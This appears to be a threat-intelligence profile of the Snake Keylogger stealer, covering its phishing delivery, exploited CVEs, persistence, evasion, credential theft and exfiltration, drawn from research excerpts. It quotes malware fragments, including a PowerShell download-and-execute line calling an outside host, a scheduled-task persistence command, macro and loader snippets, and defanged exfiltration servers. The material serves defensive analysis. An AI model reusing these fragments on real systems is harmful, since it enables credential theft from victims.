Loading malware…
Snake Keylogger is a modular, subscription-based .NET information stealer targeting Microsoft Windows. First observed in late 2020, it is also known as 404 Keylogger and KrakenKeylogger. Its capabilities include keystroke logging, screenshot capture, clipboard collection, and theft of saved credentials from browsers, email clients, FTP clients, and messaging applications. Some variants harvest credentials from more than 50 applications. It also collects host and geographic information to contextualize stolen data. Features are configurable, and individual variants may enable only credential theft. Exfiltration methods include SMTP, FTP, and the Telegram Bot API.
Snake Keylogger is commonly distributed through phishing emails using payment, invoice, procurement, and other business-themed lures. Delivery formats include malicious Office documents, PDFs containing embedded documents or download links, scripts, archives, and disk images. Document-based infection chains have exploited CVE-2017-0199 and CVE-2017-11882 or relied on malicious macros. Loaders used to deliver the family include RelicRace and RelicSource, as well as QuirkyLoader.
Observed deployment chains establish persistence through scheduled tasks or changes to Windows Startup folder settings and execute the payload using process hollowing. Obfuscated code, encrypted resources, in-memory assembly loading, execution delays, and checks against suspected analysis-system addresses hinder detection and analysis. Some variants suppress exfiltration when an analysis environment is detected.
Snake Keylogger is used by multiple criminal operators rather than being exclusive to a single threat actor. CERT-UA has tracked distribution involving the family under UAC-0041, and XWorm operators have deployed it as an additional payload. It has appeared in campaigns against industrial organizations and businesses in energy, oil and gas, electronics, manufacturing, and engineering, including targeted phishing against South Korean companies.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
7 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Payloads of early versions of the ransomware from June 2021 ... could either be TargetComp ransomware, the Remcos backdoor, the Negasteal malware, or the Snake Keylogger malware.
Як пейлоад використовуються програми-стілери, а саме: Formbook та Snake Keylogger (ексфільтрація за допомогою API Telegram).
Overview Snake Keylogger, also known as 404 Keylogger, is malware that has been categorized as a keylogger and that has evolved over time, acquiring stealer capabilities that complement its functions and have made it more powerful over the years.
... TA2715 and TA2536, both of which favored Snake Keylogger ...
... TA2715 and TA2536, both of which favored Snake Keylogger ...
“The S2 Group’s intelligence team has identified… a new phishing campaign by Snake Keylogger, a Russian origin stealer programmed in .NET… The campaign… using spearphishing emails offering oil products… [and] the Sideloading Dll technique to load Snake Keylogger…”
+1 more in the app. View in Mallory
70 distinct techniques documented for this family, organized by ATT&CK tactic.
Notice that the <Relationship> element with the suspicious URL, is the only one with attribute TargetMode="External".
The campaign spreads via phishing emails tailored to employees at each company being targeted.
the distribution method for this malware appears to be spear phishing emails, with either an IMG, ISO, or CAB file included as an attachment and sent to specific targets.
The file has a /URI keyword that points to the malicious URL... To visit the malicious URL, the victim has to click on the picture displayed above, this is made in the PDF file via the /Annot object.
[TA0003][T1053] Scheduled Task/Job
You can see that the script implements persistence through a scheduled task... chuchukukukaokiwDasidow.Run('schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr ...',0);
The shellcode downloads a file and writes it to disk (name vbc.exe).
cmd = "C:\ProgramData\ESETNONU.com -EP B -NoP -c i'e'x([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create(' hxxps://www[.]mediafire[.]com/file/w2uuz1cy4cl2gup/7.dll/file ').GetResponse().GetResponseStream()).ReadToend());";
It writes a piece of PowerShell code from a local variable into a BAT file... which is finally executed by calling code “x = Shell(bat, 0)”.
The stream ID 30 looks the most interesting. It contains indeed a macro... Sub Auto_Open()
Open koaksdokasd For Output As #1... Print #1, "function ..." ... Create ("wscript C:\Users\Public\update.js")
Multi-stage AutoIt loaders abusing Windows-native tools
it can use other legitimate processes that are commonly related to .NET (csc.exe, applaunch.exe, installutil.exe, etc.)
[TA0002][T1127.001] Suspicious tree after script execution
HP’s analysts found that it attempts to abuse an old Microsoft Equation Editor vulnerability to run arbitrary code. The deployed shellcode exploits CVE-2017-11882, a remote code execution bug in Equation Editor fixed in November 2017
The relationship that caught our eye shows an external object linking and embedding (OLE) object being loaded from this URL. | If we return to our PDF document and click on “Open this file” at the prompt, Microsoft Word opens.
Because the threat actors named the embedded document "has been verified," the Open File prompt below states, "The file 'has been verified." This message could trick recipients into believing that Adobe verified the file as legitimate and that the file is safe to open.
[TA0003][T1053] Scheduled Task/Job
You can see that the script implements persistence through a scheduled task... chuchukukukaokiwDasidow.Run('schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr ...',0);
Notice that the <Relationship> element with the suspicious URL, is the only one with attribute TargetMode="External".
XMRIG Driver Loaded ... T1543.003 ... Windows Suspicious Driver Loaded Path
This variant of Snake Keylogger changes both the values of “Startup” to other folders... The program copies the Snake Keylogger file ... into this folder and renames it as “sgosr.exe”. This ensures that Snake Keylogger will be started by the Windows system every time it starts.
[TA0003][T1053] Scheduled Task/Job
You can see that the script implements persistence through a scheduled task... chuchukukukaokiwDasidow.Run('schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr ...',0);
It extracts an executable PE file into memory from the Resource directory and then performs process hollowing that injects the executable PE file into a newly created child process and executes it.
The program then creates a suspended child process and deploys the compressed Snake Keylogger payload into the child process... It next calls SetThreadContext() to make the child process point to the entry point function of Snake Keylogger.
XMRIG Driver Loaded ... T1543.003 ... Windows Suspicious Driver Loaded Path
This variant of Snake Keylogger changes both the values of “Startup” to other folders... The program copies the Snake Keylogger file ... into this folder and renames it as “sgosr.exe”. This ensures that Snake Keylogger will be started by the Windows system every time it starts.
The PDF is obfuscated in a classic way, all objects are embedded in an Object Stream... No need to deobfuscate the macro completely, we see interesting strings... It is a PowerShell script with some Base64 content.
one where we have obfuscated code that works at runtime, or, alternatively, images in resources that also work at runtime using steganography techniques.
Keyword /EmbeddedFile means that the PDF contains an embedded file.
Analyzing the PDF file reveals that the .docx file is stored as an EmbeddedFile object.
var pit = king.CopyFile ("C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe", kiii); ... megamon = "C:\ProgramData\milon.com"; var pit = dihearter.CopyFile ("C:\Windows\System32\mshta.exe", megamon);
It extracts an executable PE file into memory from the Resource directory and then performs process hollowing that injects the executable PE file into a newly created child process and executes it.
The program then creates a suspended child process and deploys the compressed Snake Keylogger payload into the child process... It next calls SetThreadContext() to make the child process point to the entry point function of Snake Keylogger.
if a specified date has passed, then the executable will schedule its deletion to avoid detection or analysis
it can use other legitimate processes that are commonly related to .NET (csc.exe, applaunch.exe, installutil.exe, etc.)
[TA0002][T1127.001] Suspicious tree after script execution
it downloads Snake Keylogger module ... which is a RC4 encrypted DLL file. Next, it calls “ToRc()” function to RC4 decrypt it using a decryption key "Dllzjn".
In Windows 8 and Windows 10, simply double-clicking on virtual disk files will automatically mount its content. This feature is appealing for threat actors because it takes a small number of user clicks to execute the malware.
RegAsm.exe / RegSvcs.exe / InstallUtil.exe abused via process hollowing/injection by AgentTesla and Snake Keylogger
The next payload is downloaded and then executed through mshta.exe.
RegAsm.exe / RegSvcs.exe / InstallUtil.exe abused via process hollowing/injection by AgentTesla and Snake Keylogger
Snake uses specific IP addresses to check for monitoring or analysis. If these IPs are detected, the malware alters its behavior to avoid detection.
When it starts, it sleeps 21 seconds to bypass those sandboxes... Again, for the same reason as before, it sleeps 35 seconds at the beginning of this function to bypass some malware analysis systems.
Additionally, Snake often creates them with the “hidden” flag, so users who do not have hidden files visible will not see them
[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').GetMethod('Execute').Invoke(...)
and terminates any running processes whose names match any of those listed
Snake extracts Wi-Fi profile information and passwords using netsh commands
“SnakeStealer… can log keystrokes, steal saved credentials, take screenshots, and collect clipboard data.”
The dropped malware is generally able to steal private information, log keyboard strokes and steal browsing data.
Generated datasets for snakey keylogger outlook reg access in attack range... Dataset_1 Path: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1552/snakey_keylogger_outlook_reg_access/snakekeylogger_4663.log
The first analysis reports it as a Snake keylogger... "credentials": ... ftp ... The malware seems active based on the collected data that I found... 'Passwords ID' files
I have categorized those clients that Snake Keylogger focuses on as below: Web Browsers: Google Chrome, Mozilla Firefox... and various browsers designed based on Chromium project.
Figure 4.5 is a screenshot of a function that is about to read the credentials of Microsoft Outlook from the system registry. It goes through four registry paths for different Outlook versions to read out ... passwords
The dropped malware is generally able to steal private information, log keyboard strokes and steal browsing data.
It also regularly monitors and logs the title of the active window in the foreground using APIs like GetForegroundWindow() and GetWindowText()
[TA0007][T1033] System Owner/User Discovery
[TA0007][T1049] System Network Connections Discovery
chuchukukukaokiwDasidow.Run("taskkill /f /im WinWord.exe",0); ... Excel.exe ... POWERPNT.exe
Snake Keylogger collects basic information regarding the victim’s Windows system, like User name, PC name, System Date and Time, Public IP address, and Country
The malware seems active based on the collected data that I found: ... ftp> ls -l
[TA0007][T1217] Browser Information Discovery
Snake uses specific IP addresses to check for monitoring or analysis. If these IPs are detected, the malware alters its behavior to avoid detection.
When it starts, it sleeps 21 seconds to bypass those sandboxes... Again, for the same reason as before, it sleeps 35 seconds at the beginning of this function to bypass some malware analysis systems.
[TA0007][T1518] Software Discovery
it retrieves sensitive geolocation data such as the machine’s public IP address, country name/code, region name/code, city name, time zone, and precise latitude and longitude coordinates
The exploited vulnerability in this campaign (CVE-2017-11882) is over four years old, yet continues being used
Best Private LOGGER appears to be a modified version of an older Snake Keylogger... combined with the data it harvests from the victim.
“SnakeStealer… can log keystrokes, steal saved credentials, take screenshots, and collect clipboard data.”
The dropped malware is generally able to steal private information, log keyboard strokes and steal browsing data.
It is able to take screenshots of the victim’s device. It has a Timer (Timer1), which captures the victim’s screenshots from time to time by calling API CopyFromScreen().
[TA0009][T1114] Email Collection
One (Time2) is used to collect system clipboard data by calling Clipboard.GetText() and save to a global variable. The other (Time3) is used to send collected clipboard data to the attacker.
AgentTesla ... with data typically exfiltrated via SMTP, FTP, or Telegram bot channels
It starts by creating a message containing stolen information, which is URL-encoded, and sends via HTTPS POST requests
Snake Keylogger exfiltration via SMTP mail.saadzakhary[.]com:587
[TA0011][T1102.002] Bidirectional Communication
If the key is not found, the client sends a 'sendplugin' command to the C2 server ... The C2 server then responds with the command 'savePlugin' along with a base64 encoded string containing the plugin | We observed XWorm RAT Operators execute additional malware, such as: DarkCloud Stealer ... Remcos RAT
C2 traffic frequently routed through Dynamic DNS providers like DuckDNS... Deploy DNS monitoring for Dynamic DNS providers (DuckDNS, ydns.eu, dns.army) and TryCloudflare tunnel subdomains frequently abused as C2 infrastructure
[TA0010][T1041] Exfiltration Over C2 Channel
The first analysis reports it as a Snake keylogger: { "family": "snakekeylogger", ... "protocol": "ftp", "host": "ftp://103[.]147[.]185[.]85/" }
Snake can transmit gathered information in plaintext or DES-encrypted format to its server through several communication methods, including SMTP, FTP
Formbook та Snake Keylogger (ексфільтрація за допомогою API Telegram).
[TA0040][T1489] Service Stop
236 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
65 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.